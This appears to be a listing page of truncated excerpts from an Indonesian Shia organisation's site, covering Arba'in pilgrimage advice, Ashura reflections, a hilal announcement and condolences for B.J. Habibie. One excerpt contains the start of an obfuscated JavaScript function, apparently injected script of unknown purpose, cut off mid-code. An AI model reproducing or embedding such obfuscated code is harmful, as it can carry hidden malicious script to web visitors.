Bismillahirrahmanirrahim Allahumma shalli alaa Muhammad wa Aali Muhammad Berdasarkan berbagai kriteria visibilitas hilal, prediksi Markaz al-Islam al-Ashil tentang kemungkinan terlihatnya hilal di seluruh wilayah Tanah Air dan kesaksian Tim Rukyatul Hilal Lembaga Falak AHLULBAIT INDONESIA yang melakukan istihlal pada hari ini, Ahad (29/09/19), yang bertepatan dengan 29
JARAK Dari Najaf ke Karbala 80 km terdiri dari 1452 tiang, jarak antar tiang 50 meter. RUTE dari Bab as-Sa'ah, Pusara Amirul Mukminin, Ali bin Abi Thalib a.s., menuju jalan Imam Ali Zainal Abidin atau jalan Imam Shadiq hingga jalan utama menuju Karbala. Waktu Utama berjalan kaki: 16
Nasihat untuk Peziarah Arba'in Imam Husain a.s.___ Membawa tas punggung ringan Membawa obat-obatan penting Memakai sepatu khusus jalan kaki Tidak membawa air dan makanan karena berlimpah Jika perlu membawa payung untuk hujan Membawa krim anti matahari Memakai tongkat Membawa sandal ringan untuk wudu Perhatikan paspor dan visa Anda Membawa 1 salin pakaian Pastikan Anda mengetahui alamat
Mazhab Ahlul Bait tak pernah sepi dari tuduhan dari para pembencinya. Salah satu tuduhan klasik yang dialamatkan kepada kaum Muslimin Syiah adalah soal pengaruh sangat dominan Iran atau Persia dalam pembentukan dan perkembangan mazhab ini. Fakta sejarah menunjukkan bahwa imam keempat, yaitu Imam Ali Zainal Abidin,
Pemimpin Revolusi Islam, Sayid Ali Khamenei kemarin (18/09/19) menyambut para pengelola mawkib dan huseiniyah yang berada di Irak. Menurutnya, pelayanan mawkib terhadap para peziarah Arbain tiada bandingannya di dunia sebagaimana perjalanan Arbain juga tiada bandingannya di sepanjang sejarah. "Kita saat ini perlu memperkenalkan Imam Husein a.s.
Salah satu tujuan mengaitkan turbah Imam Husein a.s. dengan sujud kepada Allah Swt adalah bahwa saat sujud di atas turbah Imam Husein a.s., mengingatkan kita agar tidak berlaku nista. (Sayid Hasan Nasrullah, malam ke-7 Muharram 1441 H) [*] Baca: Apakah Agama Sumber Pertikaian? (5) https://www.youtube.com/watch?v=-_GXsCFQSao&t=5s function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return
Innalillaahi wa inna ilaihi raji'un Dewan Syura AHLULBAIT INDONESIA (ABI) menyampaikan turut berbelasungkawa atas berpulangnya mantan Presiden ke-3 RI, Bapak Prof. DR (HC). Ing. Dr. Sc. Mult. Bacharuddin Jusuf Habibie bin Alwi Abdul Jalil Habibie, hari ini 11 September 2019/11 Muharam 1441H pkl 18.05 WIB dalam
Komitmen Para Sahabat Imam Husein a.s. di Malam Asyura Andaikan aku terbunuh di jalan Anda, dihidupkan kembali, dibakar hidup-hidup, lalu aku menjadi debu, kemudian aku diperlakukan sedemikian itu sebanyak 70 kali, niscaya aku tidak akan berpisah dari Anda sehingga ajal menjemputku di hadapan Anda. (Sa'id bin Abdullah
Karena "setiap hari adalah Asyura dan setiap bumi adalah Karbala", maka ia tak hanya diperingati sebagai ritus dan momentum pembaharuan ikrar cinta serta kepatuhan vertikal kepada Nabi dan Ahlulbait sebagai umat, namun harus dijadikan sebagai momentum mempembaharui ikrar kepatuhan horisontal. Setiap pengingat tragedi Asyura harus memahami
Al-Hurr ar-Riyahi, Teladan bagi Penebus Dosa Al-Hurr adalah orang pertama yang bangkit menentang al-Husein a.s. dan menghalangi beliau menuju Kufah. Pada pagi hari 10 Muharram, al-Hurr mengubah sikapnya, terlihat bimbang dan menghampiri Imam Husein a.s. Ketika ia ditanya oleh Imam Husein a.s., ia menjawab, “Diriku diberikan dua pilihan,
